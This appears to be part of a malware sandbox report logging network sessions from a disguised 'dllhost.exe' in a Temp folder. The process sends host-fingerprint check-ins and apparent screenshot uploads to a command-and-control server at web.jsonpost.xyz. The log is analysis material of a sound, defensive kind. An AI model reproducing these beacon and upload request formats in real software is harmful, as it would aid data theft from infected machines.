Nov 29, 2024 01:53:03.002819061 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 33 37 31 34 34 37 36 31 39 36 62 62 36 31 36 36 39 32 63 36 64 65 64 30 38 65 37 61 61 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------b3714476196bb616692c6ded08e7aac7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:03.002876997 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:03.002957106 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:03.122905016 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:03.123017073 CET	4944	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:53:03.123131990 CET	4944	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:53:03.123245001 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:53:03.123589039 CET	3708	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:53:03.123600006 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:53:03.243066072 CET	4944	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49834	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:03.186316013 CET	219	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49840	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:04.576699972 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7 Host: web.jsonpost.xyz Content-Length: 98018 Cache-Control: no-cache
Nov 29, 2024 01:53:04.576740980 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 33 37 31 34 34 37 36 31 39 36 62 62 36 31 36 36 39 32 63 36 64 65 64 30 38 65 37 61 61 63 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------b3714476196bb616692c6ded08e7aac7Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:04.576807022 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:04.576833963 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:04.697134018 CET	2472	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:04.697292089 CET	7416	OUT	Data Raw: fa 13 57 d0 70 a5 49 47 1d c8 9e 8d 3b 9f 3d c4 f4 e3 2c 17 33 dd 34 73 54 51 45 7e 90 7e 7c 14 51 45 00 15 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 e7 b5 e8 5f 0b bf e4 5f d4 3f ec 23 27 fe 82 95 f3 f9 ef fc ba f5 7f 91 f5 fc 2d fc 3c 4f a4 7f Data Ascii: WpIG;=,34sTQE~~\|QE__?#'__?#'-<O15_F+4VSNg9=m[HET#r5{CN%Oor/"y{F3K u%y{&3am#vsWFbkbU)#OH46I(
Nov 29, 2024 01:53:04.697307110 CET	2472	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:53:04.697412014 CET	4944	OUT	Data Raw: a9 07 fe f9 af 76 85 92 86 ba f3 7f 91 e5 e3 6e f9 f4 d3 95 7e 47 90 51 4b da 92 be d4 fc d8 28 a2 8a 00 cf d5 ff 00 e3 d1 7f eb a0 fe 46 b7 be 1b 43 35 b6 a5 79 ad cb 29 87 4c b2 b7 7f b5 12 32 24 04 70 9e e7 a1 fc 07 ad 63 6a 30 49 71 6e ab 12 Data Ascii: vn~GQK(FC5y)L2$pcj0Iqn`8j}3,4!M?.c.0yRW4<veRr")no,5$tu`rt=1xSR]/U)}we7<p+bDmBy?z/P\|=5gi
Nov 29, 2024 01:53:04.697565079 CET	3708	OUT	Data Raw: 26 29 31 8a 71 e0 52 1a 56 18 dc 51 c7 34 bf a1 a4 f5 fe 54 58 62 63 23 14 df 7a 79 1c 8c 52 51 61 8d e9 47 bd 3b 14 86 81 88 41 a3 8a 5c 67 ff 00 af 4d ed 4c 35 13 de 8e 73 4e 20 52 1e 28 01 31 8a 00 f7 a7 0c 1f 6a 41 40 c4 23 f9 d3 7f 5a 71 39 Data Ascii: &)1qRVQ4TXbc#zyRQaG;A\gML5sN R(1jA@#Zq9j%(HE/GCX/z:GZ\q@/CE!:I@4RENwb\|Q@Q@EJ)MQEQE%@CE-QEQERPIKE%Q@Q@P
Nov 29, 2024 01:53:04.697578907 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`
Nov 29, 2024 01:53:04.817473888 CET	4944	OUT	Data Raw: 70 32 a4 11 83 d4 73 59 8b 05 cc 52 69 eb a7 59 3d bd 9d 93 4c ef 05 dc de 71 b9 32 a8 47 0e ca a9 f2 94 01 40 00 63 93 9c d3 a4 b7 b8 11 5b c3 a3 db 4f a7 88 2e 63 ba 32 dc 4e 26 91 9e 3c f9 6b 90 aa 02 8c 93 8c 64 93 c9 e8 2b c8 e6 c7 37 75 7e Data Ascii: p2sYRiY=Lq2G@c[O.c2N&<kd+7u~oO,Q2t[tx>$[b((r<M"4`qHbOrZ\ZZ[%t~d r\]Amf+i,6{W.\|98QR+KSHS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49841	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:04.609155893 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49843	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:06.048749924 CET	195	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----67f1dda3f58c30bca5812691cfd54a6e Host: web.jsonpost.xyz Content-Length: 98283 Cache-Control: no-cache
Nov 29, 2024 01:53:06.048820972 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 37 66 31 64 64 61 33 66 35 38 63 33 30 62 63 61 35 38 31 32 36 39 31 63 66 64 35 34 61 36 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------67f1dda3f58c30bca5812691cfd54a6eContent-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:06.049031973 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:06.049060106 CET	1236	OUT	Data Raw: fb 52 6c f4 34 05 c8 cd 14 e2 ac 3b 53 69 0c 28 a2 8a 00 43 45 14 50 30 a4 34 b4 9c d0 01 45 14 50 00 69 29 68 c5 03 12 8a 28 a0 04 34 52 d1 40 c4 a2 8a 28 01 0d 14 b4 94 00 52 1a 5a 28 18 94 50 68 a0 04 c1 a2 96 8e d4 c6 25 25 2d 21 a0 02 8a 28 Data Ascii: Rl4;Si(CEP04EPi)h(4R@(RZ(Ph%%-!(0QE'j)i(4um!(bQEJJu%((PhE!S1E(RwhJ(F)h@RPEE8cKI@0Ri/Z(CE=(4
Nov 29, 2024 01:53:06.169092894 CET	4944	OUT	Data Raw: de 49 69 75 19 8e 58 ce 08 3d fd c7 b5 6f 43 1f 42 bc b9 20 f5 39 f1 39 6e 23 0f 0e 79 ad 3c 8a b4 77 a3 14 57 61 c0 21 a2 96 92 80 0a 43 4b 45 03 12 8a 28 a0 02 92 96 8a 06 25 21 a5 a2 80 12 83 4b 49 4c 04 a2 96 8a 06 25 25 2d 25 03 0a 4a 5a 28 Data Ascii: IiuX=oCB 99n#y<wWa!CKE(%!KIL%%-%JZ((%CE-%%(4P1))h4P1(4Q@RbBRSHhRP1%:JJZ()iJZJ))h))i())JJZ(<^hNZObPhiB9"ByP0%Nih#
Nov 29, 2024 01:53:06.169177055 CET	2472	OUT	Data Raw: fc 81 27 ff 00 13 47 fc 26 fe 1d ff 00 a0 87 fe 40 93 ff 00 89 af 24 6b 6b 95 b3 17 8d 6b 70 2d 4f 49 cc 2d e5 9e 71 f7 b1 8e be f4 d8 e1 9e 6b 79 6e 21 b7 9e 58 21 cf 9b 2c 71 33 22 60 64 e4 81 81 c7 ad 73 7f 64 50 b5 fd a7 e4 75 7f 6e 62 6f 6f Data Ascii: 'G&@$kkkp-OI-qkyn!X!,q3"`dsdPunbooe)NxnMWuI:^o@tI8?!w0*3d~uqs1uqrRm`<(yyWn8IjRE_\|k!u#FR_[xAm,V
Nov 29, 2024 01:53:06.169203997 CET	2472	OUT	Data Raw: 61 d6 75 4d 7a e8 4e fa 58 f3 dd ae b9 fb 3c 96 85 48 45 56 e8 78 2a a1 41 c8 38 18 18 e3 30 59 ea 3a bd a5 b6 a5 69 f6 a9 74 b8 b4 e8 84 12 5b 82 52 de 45 8c 79 a1 c8 e2 36 df b9 8e 71 9c 83 d0 d5 98 f4 c4 b6 b9 4b ab 29 e7 b4 b8 4c ed 96 09 0a Data Ascii: auMzNX<HEVxA80Y:it[REy6qK)L2`5`ziY/3YA;l&]OMZXEY~oU0n97\"YMUl4K;EFzl`<XJ3vylH;J},s[
Nov 29, 2024 01:53:06.169290066 CET	4944	OUT	Data Raw: 45 14 50 30 a2 8a 29 00 94 52 d1 40 09 45 14 50 02 1a 0d 2d 14 00 94 51 45 00 25 14 b4 94 c6 14 51 45 00 25 14 b4 53 01 29 29 68 c5 03 42 52 52 d1 40 c4 a2 8a 29 80 51 46 28 e2 80 0c 91 4e 0e 40 a6 d1 8a 60 38 ed 6e ab f9 53 4c 4a 7e eb 63 eb 49 Data Ascii: EP0)R@EP-QE%QE%S))hBRR@)QF(N@`8nSLJ~cI9bv1wh(ZiR+qVE6)))hR@4P1(JCKE1EJLS6RRKAqIu%1N%!)P1@%:(RbLP11II
Nov 29, 2024 01:53:06.169393063 CET	4944	OUT	Data Raw: a9 ad 4c 96 b1 bc 45 ca 4c 57 6a 85 f3 bc cc e1 97 39 40 00 24 82 d8 19 ce b2 d4 6c af 26 37 57 37 e2 04 be d4 1e ca cc 25 82 a6 e6 5d b9 2e 88 e0 22 82 ea 38 dc 4f 27 15 10 b5 be 48 ad 51 66 b5 66 b3 31 fd 9a 79 2d 62 69 a2 f2 db 72 01 21 42 d8 Data Ascii: LELWj9@$l&7W7%]."8O'HQff1y-bir!Bp82MCJg9,<AY8~{ejZkL!Ie693"DT`x Y6]P%]P#3)pw;'sd+,BOyXr_U#:#q
Nov 29, 2024 01:53:06.169485092 CET	1236	OUT	Data Raw: b4 50 01 8a 31 45 14 0c 4a 4a 75 25 08 04 a2 8a 51 4c 02 93 14 b4 50 02 77 a2 97 14 94 c6 18 a4 c7 34 b8 a2 98 09 45 2d 14 00 94 98 a5 a3 19 a6 02 52 53 e9 31 45 c6 37 9a 33 ff 00 d6 a5 a3 14 0c 4c e3 a5 2e 73 f7 80 3f 5a 31 48 45 00 21 8e 36 f5 Data Ascii: P1EJJu%QLPw4E-RS1E73L.s?Z1HE!6SL00aRbP4 e# UN9JWJw)Lz1Q2tRLS9L\|~qAS1I?1EGf&FFi1GzVH#E+`O9!`jp9
Nov 29, 2024 01:53:06.169508934 CET	2472	OUT	Data Raw: 0f 80 f5 1d 88 88 3c d4 e1 2c 24 b4 1f 7d 3f 81 f9 3f 5e 9d bb 57 9b d7 a9 78 a2 c6 1d 3f c1 77 f1 42 f7 0c a5 e3 62 67 b8 92 66 cf 98 9f c4 ec 4e 38 e9 9c 57 97 57 6e 50 f9 a3 37 e6 78 1c 42 b9 6a 53 5e 42 51 4b 45 7b 07 ce 89 45 29 a4 a0 62 51 Data Ascii: <,$}??^Wx?wBbgfN8WWnP7xBjS^BQKE{E)bQKI@QL(0(1PQPIKI@`%(L(4Q@E-%1!4QE))i()))h((QERZ)QE0(Q@PhSH)QERRLb-'z`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49844	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:06.061616898 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49849	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:07.551235914 CET	235	OUT	POST /sj2vMs/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: web.jsonpost.xyz Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49850	72.52.178.23	80	7608	C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 01:53:07.570525885 CET	196	OUT	POST /sj2vMs/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----20803717bf274c582f30f80916c596d3 Host: web.jsonpost.xyz Content-Length: 102801 Cache-Control: no-cache
Nov 29, 2024 01:53:07.570565939 CET	156	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 30 38 30 33 37 31 37 62 66 32 37 34 63 35 38 32 66 33 30 66 38 30 39 31 36 63 35 39 36 64 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------20803717bf274c582f30f80916c596d3Content-Disposition: form-data; name="data"; filename="152122461226.jpg"Content-Type: application/octet-stream
Nov 29, 2024 01:53:07.570638895 CET	10240	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 29, 2024 01:53:07.570683956 CET	1236	OUT	Data Raw: 66 de 6a 5f e9 da 3d d5 a2 cb 35 cc 37 71 ea 1a 8a 32 95 cc b1 aa a0 50 7b e4 2b 3e 47 43 27 d6 99 67 0e 8f a3 5c e9 97 31 ea 50 dc 41 0e a3 04 dc c1 28 99 23 0e 18 97 1b 76 e4 00 73 b5 9b 27 a5 6a 84 50 72 14 02 7b e2 99 e4 44 4e 4c 69 ff 00 7c Data Ascii: fj_=57q2P{+>GC'g\1PA(#vs'jPr{DNLi\|eK7S=[ia3e:j/&o{3[F,[oIr[<9{uXcIxc}O=+dGQL_?Y(+5y9^Z6TStO0~\>LZ
Nov 29, 2024 01:53:07.690721989 CET	1236	OUT	Data Raw: c6 e3 de 93 14 e3 45 31 8d a2 97 a5 27 7a 43 13 1f 4a 4e d4 e3 c5 27 4a 06 27 7a 0f 3c f5 a2 8e 08 fe 74 0c 42 28 3e b4 13 9e 28 ed e9 40 08 47 e2 05 14 1e 3d e8 a0 61 8c 51 47 e3 46 4d 00 27 e6 69 3b f6 a5 39 cf 6a 39 a0 68 4a 4e b4 b8 e7 9a 4a Data Ascii: E1'zCJN'J'z<tB(>(@G=aQGFM'i;9j9hJNJC!cHG4cuQ)A@QQ'qGCh4ZJJ_Q:3uNRRGN(<M>%)(#XGj^?)QKE%((RR@EP0
Nov 29, 2024 01:53:07.690905094 CET	9888	OUT	Data Raw: d9 23 62 ac 33 d0 8e 0d 6d 47 15 42 bb 6a 94 d4 ad d9 a7 f9 19 55 c3 57 a2 af 56 0e 37 ee 9a fc c6 52 52 d1 5b 98 09 45 2f e1 49 40 c2 8a 2b 57 c3 7e 17 be f1 47 da a6 8e f5 6c ad 60 93 ca 0d e5 79 85 d8 0c 9e 32 3a 64 7e 75 c7 8d c7 53 c2 45 4a Data Ascii: #b3mGBjUWV7RR[E/I@+W~Gl`y2:d~uSEJi#EE]^[-w~H?U_1]uCI.__/$zO?YQVOp$"\| !A`ihNeW]Fm(&}v
Nov 29, 2024 01:53:07.690994024 CET	4944	OUT	Data Raw: 46 3e 94 d3 12 9f ba df 9d 26 68 a5 a0 c4 31 b0 ed 9f a5 33 04 76 a9 77 91 4b bc 1f bc 33 45 82 ec 82 8c 54 fb 50 fb 53 4c 47 f8 48 34 59 8e e4 58 a3 14 e2 a4 75 14 de f4 8a 0a 4a 5a 28 01 28 c5 14 50 31 28 a5 34 94 00 9c 51 4b 48 68 18 94 52 d2 Data Ascii: F>&h13vwK3ETPSLGH4YXuJZ((P1(4QKHhRSRPIKI@kgCIi?oXb#hd_KH[u5X15H5x]n)$nN0H!kfmV;kVb:7U(mc=nq[[/
Nov 29, 2024 01:53:07.691092968 CET	4944	OUT	Data Raw: 7e eb 7e 74 c3 0b 0e d9 a5 a5 04 f6 34 58 69 b2 ac b0 24 9f 7d 41 c7 ad 47 f6 38 3f e7 98 ad 0d f9 e1 94 1a 42 91 b7 4c ad 4b a6 9e e8 b5 51 a2 87 d8 e0 ff 00 9e 62 8f b1 c1 ff 00 3c c7 e5 57 0c 0d fc 24 1a 8c ab 2f 50 6a 79 23 d8 bf 68 df 52 b7 Data Ascii: ~~t4Xi$}AG8?BLKQb<W$/Pjy#hRbp1UJ9#\|W~T}?E>H<by(`rbP1V%(?p1UJ\|>yw+?>bH<}?*O<V(
